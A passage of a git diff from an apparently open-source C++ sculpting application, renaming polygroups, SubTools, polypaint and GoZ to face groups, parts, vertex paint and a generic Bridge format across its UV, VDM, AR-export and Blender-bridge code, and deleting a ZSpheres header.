- {{"op", T::String, "all, none, invert, island, face, polygroup, rect, seams or mode", true}, // marks-pending
+ {{"op", T::String, "all, none, invert, island, face, facegroup, rect, seams or mode", true},
{"mode", T::String, "vertex, edge, face or island", false},
{"face", T::Number, "island / face: a triangle index", false},
- {"group", T::Number, "polygroup: the face group id", false}, // marks-pending
+ {"group", T::Number, "facegroup: the face group id", false},
{"u0", T::Number, "rect: lower u", false},
{"v0", T::Number, "rect: lower v", false},
{"u1", T::Number, "rect: upper u", false},
@@ -328,10 +328,10 @@ void registerUvCommands(CommandRegistry& reg) {
faces[uint32_t(f)] = 1;
}
pickFaces(faces);
- } else if (op == "polygroup") {
+ } else if (op == "facegroup") {
const uint32_t g = uint32_t(std::max(argNumber(a, "group", 0), 0.0));
std::vector<uint8_t> faces(nt, 0);
- for (uint32_t t = 0; t < nt; ++t) faces[t] = m.polygroupAt(t) == g;
+ for (uint32_t t = 0; t < nt; ++t) faces[t] = m.facegroupAt(t) == g;
pickFaces(faces);
} else if (op == "rect") {
const glm::vec2 p0(float(argNumber(a, "u0", 0)), float(argNumber(a, "v0", 0)));
@@ -347,7 +347,7 @@ void registerUvCommands(CommandRegistry& reg) {
if (m.uvFlags.size() == nt * 3)
for (uint32_t c = 0; c < nt * 3; ++c) sel.corners[c] = (m.uvFlags[c] & kUvSeam) != 0;
} else if (op != "mode") {
- return {false, "op must be all, none, invert, island, face, polygroup, rect, seams or mode"}; // marks-pending
+ return {false, "op must be all, none, invert, island, face, facegroup, rect, seams or mode"};
}
if (sel.mode == UvSelectMode::Island) uvConvertSelection(m, topo, sel, UvSelectMode::Island);
const size_t n = sel.count();
diff --git a/src/core/UvUnwrap.cpp b/src/core/UvUnwrap.cpp
index 12b6f889..b7d42a33 100644
--- a/src/core/UvUnwrap.cpp
+++ b/src/core/UvUnwrap.cpp
@@ -43,7 +43,7 @@ const char* uvUnwrapMethodId(UvUnwrapMethod m) {
case UvUnwrapMethod::Auto: return "auto";
case UvUnwrapMethod::Conformal: return "conformal";
case UvUnwrapMethod::Isometric: return "isometric";
- case UvUnwrapMethod::Polygroups: return "polygroups";
+ case UvUnwrapMethod::FaceGroups: return "facegroups";
case UvUnwrapMethod::Planar: return "planar";
case UvUnwrapMethod::Unfold: return "unfold";
}
@@ -55,7 +55,7 @@ const char* uvUnwrapMethodLabel(UvUnwrapMethod m) {
case UvUnwrapMethod::Auto: return "Auto Seams";
case UvUnwrapMethod::Conformal: return "Conformal (LSCM)";
case UvUnwrapMethod::Isometric: return "Least Stretch";
- case UvUnwrapMethod::Polygroups: return "By Face Groups";
+ case UvUnwrapMethod::FaceGroups: return "By Face Groups";
case UvUnwrapMethod::Planar: return "Planar";
case UvUnwrapMethod::Unfold: return "Unfold Islands";
}
@@ -64,7 +64,7 @@ const char* uvUnwrapMethodLabel(UvUnwrapMethod m) {
bool parseUvUnwrapMethod(const std::string& id, UvUnwrapMethod& m) {
for (UvUnwrapMethod x : {UvUnwrapMethod::Auto, UvUnwrapMethod::Conformal, UvUnwrapMethod::Isometric,
- UvUnwrapMethod::Polygroups, UvUnwrapMethod::Planar, UvUnwrapMethod::Unfold})
+ UvUnwrapMethod::FaceGroups, UvUnwrapMethod::Planar, UvUnwrapMethod::Unfold})
if (id == uvUnwrapMethodId(x)) {
m = x;
return true;
@@ -72,7 +72,7 @@ bool parseUvUnwrapMethod(const std::string& id, UvUnwrapMethod& m) {
if (id == "lscm" || id == "angle") return m = UvUnwrapMethod::Conformal, true;
if (id == "arap" || id == "stretch" || id == "least_stretch") return m = UvUnwrapMethod::Isometric, true;
if (id == "xatlas") return m = UvUnwrapMethod::Auto, true;
- if (id == "face_groups" || id == "groups") return m = UvUnwrapMethod::Polygroups, true;
+ if (id == "face_groups" || id == "groups") return m = UvUnwrapMethod::FaceGroups, true;
return false;
}
@@ -741,7 +741,7 @@ bool uvUnwrap(const Mesh& m, const UvUnwrapOptions& o, UvUnwrapResult& result, s
bool x = d == kNoCorner;
if (!x && flags) x = (m.uvFlags[c] | m.uvFlags[d]) & kUvSeam;
if (!x && useIslands) x = topo.border[c];
- if (!x && o.method == UvUnwrapMethod::Polygroups) x = m.polygroupAt(c / 3) != m.polygroupAt(d / 3);
+ if (!x && o.method == UvUnwrapMethod::FaceGroups) x = m.facegroupAt(c / 3) != m.facegroupAt(d / 3);
cut[c] = x;
}
// 2. Pieces, with extra cuts until every piece is a disk.
diff --git a/src/core/Vdm.cpp b/src/core/Vdm.cpp
index 3dcbe05b..aeb943d0 100644
--- a/src/core/Vdm.cpp
+++ b/src/core/Vdm.cpp
@@ -866,9 +866,9 @@ void registerVdmCommands(CommandRegistry& registry) {
{{"resolution", T::Number, "Quads per side (16-1024). Default 256; divide it for finer detail.", false}},
[](Document& doc, const Args& a) -> CommandResult {
const int res = std::clamp(int(argNumber(a, "resolution", 256)), 16, 1024);
- for (auto& s : doc.subtools) s.visible = false;
- doc.addSubtool(makeVdmPlane(res), doc.uniqueSubtoolName("VDM Plane"));
- doc.activeSubtoolInfo().visible = true;
+ for (auto& s : doc.parts) s.visible = false;
+ doc.addPart(makeVdmPlane(res), doc.uniquePartName("VDM Plane"));
+ doc.activePartInfo().visible = true;
doc.modified = true;
return {true, "VDM plane (" + std::to_string(res) + " x " + std::to_string(res) +
"): sculpt it from the top, then Create VDM"};
diff --git a/src/core/Vdm.h b/src/core/Vdm.h
index 0e3e8446..e97b6e20 100644
--- a/src/core/Vdm.h
+++ b/src/core/Vdm.h
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Vector displacement maps (ZBrush VDM brushes, Blender's "VDM brushes"): a square grid of 3D offsets in the
+// Vector displacement maps (VDM brushes, Blender's "VDM brushes"): a square grid of 3D offsets in the
// brush's tangent frame. One dab of the VDM brush (BrushType::Vdm) moves every vertex under the stamp by its
// texel's vector, so a single click can press a horn, an ear curl or a nostril with overhangs, which a height
// (grayscale alpha) can't.
@@ -88,7 +88,7 @@ VectorDisplacement makeWrinkleVdm(int size = 256);
VectorDisplacement makeCrackVdm(int size = 256);
VectorDisplacement makeRockLedgeVdm(int size = 256);
-// --- Create VDM from a plane (ZBrush: Brush > Create > from the VDM plane; Blender: VDM Brush Baker) ---
+// --- Create VDM from a plane (Brush > Create > from the VDM plane; Blender: VDM Brush Baker) ---
// A flat 2 x 2 grid in the XZ plane facing +Y (the top view), `cells` quads a side, with UVs (they record
// where each vertex started, so its offset can be captured after sculpting) and the outer ring masked.
diff --git a/src/core/Polypaint.cpp b/src/core/VertexPaint.cpp
similarity index 98%
rename from src/core/Polypaint.cpp
rename to src/core/VertexPaint.cpp
index 5cb9a1ec..3ecfe4cc 100644
--- a/src/core/Polypaint.cpp
+++ b/src/core/VertexPaint.cpp
@@ -1,6 +1,6 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/LayerStack.h"
#include "core/MaterialRecipe.h"
#include "core/MeshMaps.h"
@@ -8,7 +8,7 @@
#include "core/MapExport.h"
#include "core/Commands.h"
-#include "core/SubTools.h"
+#include "core/Parts.h"
#include "core/Texture.h"
#include "core/Undo.h"
#include "io/PlyIO.h"
@@ -254,7 +254,7 @@ bool colorArg(const Args& a, glm::vec3& linear, std::string& error) {
}
// Undo step for a whole-mesh colour edit, pushed before the edit: the old
-// colours, or a mesh snapshot when there is no polypaint yet, so undo removes
+// colours, or a mesh snapshot when there is no vertex paint yet, so undo removes
// the attribute again instead of leaving the mesh painted white.
UndoRecord colorUndo(const Mesh& mesh, std::string label) {
if (mesh.hasColors()) return UndoRecord::captureColors(mesh, std::move(label));
@@ -401,8 +401,8 @@ void registerPaintCommands(CommandRegistry& registry) {
[](Document& doc, const Args& a) -> CommandResult {
const std::string path = argString(a, "path");
std::string err;
- Mesh merged; // no copy for a single SubTool
- const Mesh& mesh = doc.subtoolCount() == 1 ? doc.mesh : (merged = mergedVisibleMesh(doc));
+ Mesh merged; // no copy for a single Part
+ const Mesh& mesh = doc.partCount() == 1 ? doc.mesh : (merged = mergedVisibleMesh(doc));
if (mesh.triangleCount() == 0) return {false, "Nothing visible to export"};
if (!savePlyMesh(path, mesh, err)) return {false, err};
return {true, "Exported " + path + (mesh.hasColors() ? " (with vertex paint)" : "")};
diff --git a/src/core/Polypaint.h b/src/core/VertexPaint.h
similarity index 95%
rename from src/core/Polypaint.h
rename to src/core/VertexPaint.h
index 82fc470b..0f099f8d 100644
--- a/src/core/Polypaint.h
+++ b/src/core/VertexPaint.h
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Polypaint: per-vertex colour painting (Mesh::colors, linear RGB). The Paint
+// Vertex paint: per-vertex colour painting (Mesh::colors, linear RGB). The Paint
// brush, whole-mesh fills, cavity darkening and the paint_* commands. Every
// operation respects the mask (and hidden faces) like the sculpt brushes do.
#pragma once
@@ -23,7 +23,7 @@ class CommandRegistry;
bool parseColor(const std::string& text, glm::vec3& linear);
// "#rrggbb" (sRGB) for a linear colour.
std::string colorToHex(const glm::vec3& linear);
-// The tint the active colour gives a Lit Sphere material on a mesh with no vertex paint (as ZBrush's main
+// The tint the active colour gives a Lit Sphere material on a mesh with no vertex paint (as the classic main
// colour): its hue and saturation at full brightness, so a grey (the default colour) or black leaves the material
// as it is and a red turns it red while the material keeps its own light and shade.
inline glm::vec3 materialTintFor(const glm::vec3& linear) {
diff --git a/src/core/ZSpheres.h b/src/core/ZSpheres.h
deleted file mode 100644
index 68bdaafe..00000000
--- a/src/core/ZSpheres.h
+++ /dev/null
@@ -1,72 +0,0 @@
-// SculptForge - open source digital sculpting
-// SPDX-License-Identifier: GPL-3.0-or-later
-//
-// ZSpheres, ZBrush style: block out an organic base mesh as a tree of connected spheres (a root, then limbs,
-// fingers, tails grown from it), see the skin over them, and turn it into a sculptable SubTool. A ZSphere SubTool
-// keeps its armature in Mesh::zspheres; its triangles are generated from it (the spheres and their links, or the
-// skin preview), so undo, SubTool switching and projects carry the armature with the mesh. Edits replace the mesh
-// as one undo step each. The skin is a smooth union of rounded cones (one per link) meshed with surface nets
-// (core/Voxel.h), so it comes out watertight and in quads, one polygroup per link.
-#pragma once
-
-#include "core/Json.h"
-#include "core/Mesh.h"
-#include "core/Sculpt.h"
-
-#include <string>
-#include <vector>
-
-namespace sf {
-
-class CommandRegistry;
-
-// Polygroups of the armature's display mesh: sphere i is group kZSphereGroup + i, the link from child c to its
-// parent is kZSphereLinkGroup + c.
-constexpr uint32_t kZSphereGroup = 1;
-constexpr uint32_t kZSphereLinkGroup = 1u << 20;
-// The sphere (or, for a link, the child sphere) a display-mesh polygroup belongs to; -1 for neither.
-int zsphereOfGroup(uint32_t group, bool* link = nullptr);
-
-// The armature's display mesh: a sphere per ZSphere and a tapered link to each parent, with polygroups as above
-// and the spheres coloured (the root a little warmer). Carries `spheres` in Mesh::zspheres.
-Mesh zsphereDisplayMesh(const std::vector<ZSphere>& spheres);
-
-// The skin over the armature: watertight quads, `resolution` cells across its longest side, `smooth` Taubin passes,
-// one polygroup per link (the root sphere's own group when there are no links). A plain mesh (no zspheres).
-Mesh zsphereSkin(const std::vector<ZSphere>& spheres, int resolution = 128, int smooth = 2);
-constexpr int kZSpherePreviewResolution = 72;
-
-// The mesh a ZSphere SubTool shows: the display mesh, or with `preview` the skin at kZSpherePreviewResolution;
-// both carry `spheres` and the preview flag.
-Mesh zsphereMesh(const std::vector<ZSphere>& spheres, bool preview);
-
-// The sphere that mirrors `i` across `m` (one of Sculptor::mirrors): `i` itself when it sits on the mirror plane,
-// -1 when there is none.
-int zsphereMirror(const std::vector<ZSphere>& spheres, int i, const glm::vec3& m);
-
-// Symmetric edits (`sym`: the planes to mirror across, as the sculpt symmetry). Each returns false and leaves
-// `spheres` alone when the arguments are out of range.
-// Adds a sphere growing from `parent`; `added` gets the new sphere's index (its mirror copies follow it).
-bool zsphereAdd(std::vector<ZSphere>& spheres, int parent, const glm::vec3& center, float radius, Symmetry sym,
- int* added = nullptr);
-// Moves and resizes sphere `i`; a sphere on a mirror plane stays on it.
-bool zsphereSet(std::vector<ZSphere>& spheres, int i, const glm::vec3& center, float radius, Symmetry sym);
-// Deletes sphere `i` and everything that grows from it (never the root).
-bool zsphereDelete(std::vector<ZSphere>& spheres, int i, Symmetry sym);
-// Inserts a sphere halfway along the link from `child` to its parent; `added` gets its index.
-bool zsphereInsert(std::vector<ZSphere>& spheres, int child, Symmetry sym, int* added = nullptr);
-// Makes sphere `i` the root: the links on its way to the old root turn around, and it moves to index 0 (the old
-// root takes its index). The spheres and links stay where they are, so the skin is the same. False for the root.
-bool zsphereSetRoot(std::vector<ZSphere>& spheres, int i);
-
-// "x,y,z,radius,parent" per sphere, as a flat array; FromJson drops an armature that doesn't form a tree.
-Json zspheresToJson(const std::vector<ZSphere>& spheres);
-std::vector<ZSphere> zspheresFromJson(const Json& json);
-// Empty when `spheres` is a valid armature: a root at 0, parents in range, no loops, finite positive sizes.
-std::string zspheresValidate(const std::vector<ZSphere>& spheres);
-
-// zsphere_new, zsphere_list, zsphere_add, zsphere_set, zsphere_delete, zsphere_insert, zsphere_preview,
-// zsphere_make_mesh.
-void registerZSphereCommands(CommandRegistry& registry);
-
-} // namespace sf
diff --git a/src/io/ArExport.cpp b/src/io/ArExport.cpp
index 29662f5f..bac66295 100644
--- a/src/io/ArExport.cpp
+++ b/src/io/ArExport.cpp
@@ -29,9 +29,9 @@ constexpr size_t kClusterAbove = 3'000'000; // triangles: cluster vertices first
constexpr int kPadding = 4; // texels around each UV island
// One part's source of colour for a merged triangle.
-struct Part {
+struct PartColour {
const PaintTexture* texture = nullptr; // sampled at the carried corner UVs
- bool colors = false; // polypaint (per vertex, linear)
+ bool colors = false; // vertex paint (per vertex, linear)
};
glm::vec3 sampleBaked(const PaintTexture& tex, glm::vec2 uv) {
@@ -109,7 +109,7 @@ std::vector<uint8_t> bake(const std::vector<glm::uvec3>& triangles, const std::v
return rgba;
}
-// A copy with only what AR needs: current positions, visible triangles, polypaint, and the texture's corner UVs.
+// A copy with only what AR needs: current positions, visible triangles, vertex paint, and the texture's corner UVs.
Mesh leanCopy(const Mesh& src, bool keepUvs) {
Mesh m;
m.positions = src.positions;
@@ -221,13 +221,13 @@ bool exportArModel(const std::vector<const Mesh*>& meshes, const ArExportOptions
// Reduce each part to its share of the budget, keeping colour sources.
std::vector<Mesh> reducedParts;
- std::vector<Part> partInfo;
+ std::vector<PartColour> partInfo;
bool anyColor = false;
for (const Mesh* src : parts) {
const bool textured = hasTexture(*src);
const size_t share = std::max<size_t>(64, size_t(double(budget) * double(src->triangleCount()) / double(total)));
Mesh lean = leanCopy(*src, textured);
- Part info;
+ PartColour info;
if (lean.triangleCount() > kClusterAbove) {
lean = cluster(lean, textured ? src->texture.get() : nullptr,
std::min<size_t>(lean.triangleCount() / 2, std::max<size_t>(share * 4, 500'000)));
@@ -241,16 +241,16 @@ bool exportArModel(const std::vector<const Mesh*>& meshes, const ArExportOptions
partInfo.push_back(info);
reducedParts.push_back(std::move(reduced));
}
- // One mesh: per triangle its part, per corner the part's texture UV, per vertex polypaint (white elsewhere).
+ // One mesh: per triangle its part, per corner the part's texture UV, per vertex vertex paint (white elsewhere).
Mesh merged;
std::vector<uint32_t> triPart;
std::vector<glm::vec2> sourceUvs;
- const bool anyPolypaint = std::any_of(partInfo.begin(), partInfo.end(), [](const Part& p) { return p.colors; });
+ const bool anyVertexPaint = std::any_of(partInfo.begin(), partInfo.end(), [](const PartColour& p) { return p.colors; });
for (size_t i = 0; i < reducedParts.size(); ++i) {
const Mesh& reduced = reducedParts[i];
const uint32_t base = uint32_t(merged.positions.size());
merged.positions.insert(merged.positions.end(), reduced.positions.begin(), reduced.positions.end());
- if (anyPolypaint) {
+ if (anyVertexPaint) {
if (partInfo[i].colors) merged.colors.insert(merged.colors.end(), reduced.colors.begin(), reduced.colors.end());
else merged.colors.resize(merged.positions.size(), glm::vec3(1.0f));
}
@@ -276,7 +276,7 @@ bool exportArModel(const std::vector<const Mesh*>& meshes, const ArExportOptions
const glm::vec3 offset(-box.center().x, -box.min.y, -box.center().z);
for (auto& p : merged.positions) p = (p + offset) * scale;
- // Colour: new UVs for the merged mesh and one texture baked from each part's polypaint or texture.
+ // Colour: new UVs for the merged mesh and one texture baked from each part's vertex paint or texture.
if (anyColor) {
AutoUvResult atlas;
std::string uvError;
@@ -285,7 +285,7 @@ bool exportArModel(const std::vector<const Mesh*>& meshes, const ArExportOptions
return false;
}
std::vector<uint8_t> rgba = bake(merged.triangles, atlas.uvs, options.textureSize, [&](size_t t, glm::vec3 w) {
- const Part& part = partInfo[triPart[t]];
+ const PartColour& part = partInfo[triPart[t]];
if (part.texture)
return sampleBaked(*part.texture, sourceUvs[t * 3] * w.x + sourceUvs[t * 3 + 1] * w.y + sourceUvs[t * 3 + 2] * w.z);
if (part.colors) {
diff --git a/src/io/ArExport.h b/src/io/ArExport.h
index e4a36419..de18bb88 100644
--- a/src/io/ArExport.h
+++ b/src/io/ArExport.h
@@ -3,7 +3,7 @@
//
// "View in AR" for the phone link (link/PhoneLink.h): the sculpt as a phone-friendly model standing on a real
// desk. The visible parts are reduced to a budget of triangles (vertex clustering first for very big meshes, then
-// quadric decimation), polypaint and textures are baked into one texture on new UVs (AR Quick Look ignores vertex
+// quadric decimation), vertex paint and textures are baked into one texture on new UVs (AR Quick Look ignores vertex
// colours), and the model is scaled to a chosen size with its base at y = 0 and centred, so it stands on the
// detected surface. Written as GLB (Android Scene Viewer, WebXR viewers) and USDZ (iPhone and iPad AR Quick Look),
// in metres.
@@ -27,7 +27,7 @@ struct ArExportOptions {
struct ArExportResult {
std::string glb, usdz; // file contents
size_t triangles = 0;
- bool colored = false; // polypaint or a texture was baked
+ bool colored = false; // vertex paint or a texture was baked
std::string summary; // "62,410 triangles, vertex paint, 20 cm"
};
diff --git a/src/io/BlenderBridge.cpp b/src/io/BlenderBridge.cpp
index 8234554b..ec12f14c 100644
--- a/src/io/BlenderBridge.cpp
+++ b/src/io/BlenderBridge.cpp
@@ -4,7 +4,8 @@
#include "core/BrushLibrary.h"
#include "core/Json.h"
-#include "io/GozIO.h"
+#include "io/BridgeProtocol.h"
+#include "io/BridgeIO.h"
#include <algorithm>
#include <chrono>
@@ -341,7 +342,7 @@ bool blenderReceive(const std::string& root, std::vector<MeshObject>& out, Bridg
MeshObject obj;
obj.name = b.name.empty() ? "Object" : b.name;
std::string err;
- if (!loadGoz(pathUtf8(utf8Path(inbox) / utf8Path(b.file)), obj.mesh, err)) {
+ if (!loadBridge(pathUtf8(utf8Path(inbox) / utf8Path(b.file)), obj.mesh, err)) {
message = "Cannot load \"" + obj.name + "\" from Blender: " + err;
return false;
}
@@ -399,25 +400,25 @@ bool blenderSend(const std::vector<MeshObjectRef>& objects, const std::string& r
}
names.push_back(name);
char file[48];
- std::snprintf(file, sizeof file, "%03zu.GoZ", k);
+ std::snprintf(file, sizeof file, "%03zu%s", k, bridgefile::kExt);
BridgeObject b;
b.name = name;
b.file = prefix + file;
- GozWriteOptions o;
+ BridgeWriteOptions o;
o.quads = objects[k].mesh->hasQuads(); // only kept quads: triangles of n-gons must stay triangles
std::string err;
const Mesh& sent = *objects[k].mesh;
bool ok;
if (sent.layers.empty()) {
- ok = saveGoz(pathUtf8(outbox / utf8Path(b.file)), sent, name, err, o);
+ ok = saveBridge(pathUtf8(outbox / utf8Path(b.file)), sent, name, err, o);
} else {
- // Sculpt layers go as shape keys: the .GoZ holds the base shape, the shapes file the offsets.
+ // Sculpt layers go as shape keys: the Bridge holds the base shape, the shapes file the offsets.
Mesh neutral = sent;
neutral.positions = sent.base;
neutral.layers.clear();
neutral.base.clear();
b.shapes = prefix + std::string(file, std::strlen(file) - 4) + ".shapes";
- ok = saveGoz(pathUtf8(outbox / utf8Path(b.file)), neutral, name, err, o) &&
+ ok = saveBridge(pathUtf8(outbox / utf8Path(b.file)), neutral, name, err, o) &&
writeBridgeShapes(pathUtf8(outbox / utf8Path(b.shapes)), sent, err);
}
if (!ok) {
diff --git a/src/io/BlenderBridge.h b/src/io/BlenderBridge.h
index ef65ab64..3f5b16c2 100644
--- a/src/io/BlenderBridge.h
+++ b/src/io/BlenderBridge.h
@@ -2,15 +2,15 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// The Blender bridge: SculptForge and the SculptForge add-on for Blender
-// (addons/blender) exchange meshes through a per-user folder, the way GoZ apps
-// do with ZBrush. Meshes travel as .GoZ files (io/GozIO.h: quads, UVs,
-// polypaint, mask, polygroups); a small JSON manifest per direction lists the
+// (addons/blender) exchange meshes through a per-user folder, the way Bridge apps
+// do . Meshes travel as Bridge files (io/BridgeIO.h: quads, UVs,
+// vertex paint, mask, face groups); a small JSON manifest per direction lists the
// objects, their Blender names and transforms, and a revision number so each
// side sees what is new. No sockets: each side polls the other's manifest.
// docs/blender.md describes the folder and the manifest.
//
-// <root>/to_sculptforge/manifest.json + r<rev>_<k>.GoZ written by Blender
-// <root>/to_blender/manifest.json + r<rev>_<k>.GoZ written by SculptForge
+// <root>/to_sculptforge/manifest.json + r<rev>_<k>.<ext> written by Blender
+// <root>/to_blender/manifest.json + r<rev>_<k>.<ext> written by SculptForge
// <root>/app.json where SculptForge is installed (the add-on starts it)
// <root>/alive.json SculptForge's heartbeat, so the add-on knows it is running
#pragma once
@@ -27,11 +27,11 @@ namespace sf {
// One object in a manifest.
struct BridgeObject {
- std::string name; // the Blender object name (UTF-8, exact): the SubTool's gozName
- std::string file; // .GoZ file name inside the manifest's folder
+ std::string name; // the Blender object name (UTF-8, exact): the Part's bridgeName
+ std::string file; // Bridge file name inside the manifest's folder
bool hasMatrix = false; // the mesh is in object space and `matrix` places it in the scene
glm::dmat4 matrix{1.0}; // Blender's matrix_world (Z-up, metres; glm column-major)
- std::string shapes; // optional: blend shapes file (writeBridgeShapes) beside the .GoZ
+ std::string shapes; // optional: blend shapes file (writeBridgeShapes) beside the Bridge
};
struct BridgeManifest {
@@ -65,7 +65,7 @@ glm::dvec3 blenderToSculptForge(const glm::dvec3& p);
glm::dvec3 sculptForgeToBlender(const glm::dvec3& p);
glm::dmat4 blenderMatrixToSculptForge(const glm::dmat4& m);
-// Blend shapes (sculpt layers) for the add-on's shape keys, sent beside an object's .GoZ (which then holds the base
+// Blend shapes (sculpt layers) for the add-on's shape keys, sent beside an object's Bridge (which then holds the base
// shape, every layer at zero). Little endian: "SFSHAPES", u32 version 1, u32 vertex count, u32 shape count, then per
// shape u32 name length, the name (UTF-8), f32 weight, u32 count N, u32[N] vertex indices, f32[3N] offsets in
// Blender's axes (Z up, metres, world space).
@@ -78,7 +78,7 @@ struct BridgeShape {
bool writeBridgeShapes(const std::string& path, const Mesh& mesh, std::string& error);
bool readBridgeShapes(const std::string& path, uint32_t& vertexCount, std::vector<BridgeShape>& out, std::string& error);
-// Loads what Blender sent (<root>/to_sculptforge): every object's .GoZ, moved by its matrix into place, named
+// Loads what Blender sent (<root>/to_sculptforge): every object's Bridge, moved by its matrix into place, named
// after its Blender object. `manifest` receives the manifest (for its revision).
bool blenderReceive(const std::string& root, std::vector<MeshObject>& out, BridgeManifest* manifest,
std::string& message);
diff --git a/src/io/BlenderCommands.cpp b/src/io/BlenderCommands.cpp
index 4a8432d7..4ef0e3ec 100644
--- a/src/io/BlenderCommands.cpp
+++ b/src/io/BlenderCommands.cpp
@@ -3,7 +3,7 @@
#include "io/BlenderCommands.h"
#include "io/BlenderBridge.h"
-#include "io/GozCommands.h"
+#include "io/BridgeCommands.h"
namespace sf {
@@ -18,12 +18,12 @@ void registerBlenderCommands(CommandRegistry& reg) {
[](Document& doc, const Args& a) -> CommandResult {
const std::string root = argString(a, "folder", blenderExchangeRoot());
std::vector<int> indices;
- const auto objects = gozObjects(doc, indices);
+ const auto objects = bridgeObjects(doc, indices);
std::vector<std::string> sent;
std::string msg;
if (!blenderSend(objects, root, msg, &sent)) return {false, msg};
- // Blender's next send of these objects updates the same SubTools.
- for (size_t k = 0; k < sent.size() && k < indices.size(); ++k) subtoolGozName(doc, indices[k]) = sent[k];
+ // Blender's next send of these objects updates the same Parts.
+ for (size_t k = 0; k < sent.size() && k < indices.size(); ++k) partBridgeName(doc, indices[k]) = sent[k];
return {true, msg};
}});
diff --git a/src/io/GozCommands.cpp b/src/io/BridgeCommands.cpp
similarity index 67%
rename from src/io/GozCommands.cpp
rename to src/io/BridgeCommands.cpp
index 712a29f2..cf49076a 100644
--- a/src/io/GozCommands.cpp
+++ b/src/io/BridgeCommands.cpp
@@ -1,11 +1,11 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
-#include "io/GozCommands.h"
+#include "io/BridgeCommands.h"
#include "io/BridgeProtocol.h"
-#include "core/SubTools.h"
-#include "io/GozIO.h"
+#include "core/Parts.h"
+#include "io/BridgeIO.h"
#include "io/StlIO.h"
#include <algorithm>
@@ -23,92 +23,92 @@ std::string fileStem(const std::string& path) {
std::string meshSummary(const Mesh& m) {
std::string s = std::to_string(m.triangleCount()) + " triangles";
- if (m.hasPolygroups()) s += ", face groups";
+ if (m.hasFaceGroups()) s += ", face groups";
if (m.hasUvs()) s += ", UVs";
if (m.hasMask()) s += ", mask";
if (m.hasColors()) s += ", vertex paint";
return s;
}
-// The name ZBrush sees: the SubTool the mesh came from, else the document name.
+// The name the other application sees: the Part the mesh came from, else the document name.
std::string sendName(const Document& doc, const Args& a) {
std::string name = argString(a, "name");
- if (name.empty()) name = doc.gozName;
+ if (name.empty()) name = doc.bridgeName;
if (name.empty()) name = doc.assetName();
return name;
}
} // namespace
-std::string& subtoolGozName(Document& doc, int i) {
- return i == doc.activeSubtool ? doc.gozName : doc.subtools[size_t(i)].gozName;
+std::string& partBridgeName(Document& doc, int i) {
+ return i == doc.activePart ? doc.bridgeName : doc.parts[size_t(i)].bridgeName;
}
-std::vector<MeshObjectRef> gozObjects(Document& doc, std::vector<int>& indices) {
+std::vector<MeshObjectRef> bridgeObjects(Document& doc, std::vector<int>& indices) {
std::vector<MeshObjectRef> out;
- for (int i = 0; i < doc.subtoolCount(); ++i) {
- if (!doc.subtools[size_t(i)].visible || doc.subtoolMesh(i).triangleCount() == 0) continue;
- const std::string& goz = subtoolGozName(doc, i);
- out.push_back({goz.empty() ? doc.subtools[size_t(i)].name : goz, &doc.subtoolMesh(i)});
+ for (int i = 0; i < doc.partCount(); ++i) {
+ if (!doc.parts[size_t(i)].visible || doc.partMesh(i).triangleCount() == 0) continue;
+ const std::string& bridge = partBridgeName(doc, i);
+ out.push_back({bridge.empty() ? doc.parts[size_t(i)].name : bridge, &doc.partMesh(i)});
indices.push_back(i);
}
return out;
}
-// Each object updates the SubTool with its GoZ name (undoable), or the single SubTool of a fresh scene, or
-// becomes a new SubTool. The active SubTool stays selected.
+// Each object updates the Part with its Bridge name (undoable), or the single Part of a fresh scene, or
+// becomes a new Part. The active Part stays selected.
void receiveObjects(Document& doc, std::vector<MeshObject>& objects, const std::string& undoLabel, bool renameFresh) {
- const int original = doc.activeSubtool; // new SubTools go to the end, so this index stays valid
- auto findGoz = [&](const std::string& name) {
- for (int i = 0; i < doc.subtoolCount(); ++i)
- if (!name.empty() && subtoolGozName(doc, i) == name) return i;
+ const int original = doc.activePart; // new Parts go to the end, so this index stays valid
+ auto findBridge = [&](const std::string& name) {
+ for (int i = 0; i < doc.partCount(); ++i)
+ if (!name.empty() && partBridgeName(doc, i) == name) return i;
return -1;
};
for (size_t k = 0; k < objects.size(); ++k) {
MeshObject& obj = objects[k];
- int target = findGoz(obj.name);
- // The first object sent into a fresh scene (one SubTool, not from ZBrush or Blender) replaces it.
- const bool fresh = target < 0 && k == 0 && doc.subtoolCount() == 1 && doc.gozName.empty();
+ int target = findBridge(obj.name);
+ // The first object sent into a fresh scene (one Part, not or Blender) replaces it.
+ const bool fresh = target < 0 && k == 0 && doc.partCount() == 1 && doc.bridgeName.empty();
if (fresh) target = 0;
if (target < 0) {
- const int i = doc.addSubtool(std::move(obj.mesh), obj.name, false);
- subtoolGozName(doc, i) = obj.name;
+ const int i = doc.addPart(std::move(obj.mesh), obj.name, false);
+ partBridgeName(doc, i) = obj.name;
continue;
}
- doc.selectSubtool(target);
+ doc.selectPart(target);
if (doc.mesh.triangleCount()) doc.replaceMeshUndoable(std::move(obj.mesh), undoLabel);
else doc.replaceActiveMesh(std::move(obj.mesh));
- doc.gozName = obj.name;
- if (fresh && (renameFresh || objects.size() > 1)) doc.activeSubtoolInfo().name = doc.uniqueSubtoolName(obj.name);
+ doc.bridgeName = obj.name;
+ if (fresh && (renameFresh || objects.size() > 1)) doc.activePartInfo().name = doc.uniquePartName(obj.name);
}
- doc.selectSubtool(original);
+ doc.selectPart(original);
doc.path.clear();
doc.modified = true;
}
-void registerGozCommands(CommandRegistry& reg) {
+void registerBridgeCommands(CommandRegistry& reg) {
using T = ParamSpec::Type;
- reg.add({"goz_import",
+ reg.add({"bridge_import",
"Open a Bridge file, replacing the scene. Face Groups, UVs, mask and vertex paint are kept; "
"quads are split into triangle pairs (exported back as quads).",
{{"path", T::String, "Input Bridge file path (UTF-8).", true}},
[](Document& doc, const Args& a) -> CommandResult {
const std::string path = argString(a, "path");
Mesh m;
- GozInfo info;
+ BridgeInfo info;
std::string err;
- if (!loadGoz(path, m, err, &info)) return {false, err};
+ if (!loadBridge(path, m, err, &info)) return {false, err};
const std::string name = info.name.empty() ? fileStem(path) : info.name;
doc.setMesh(std::move(m), name);
doc.path.clear();
- doc.gozName = name;
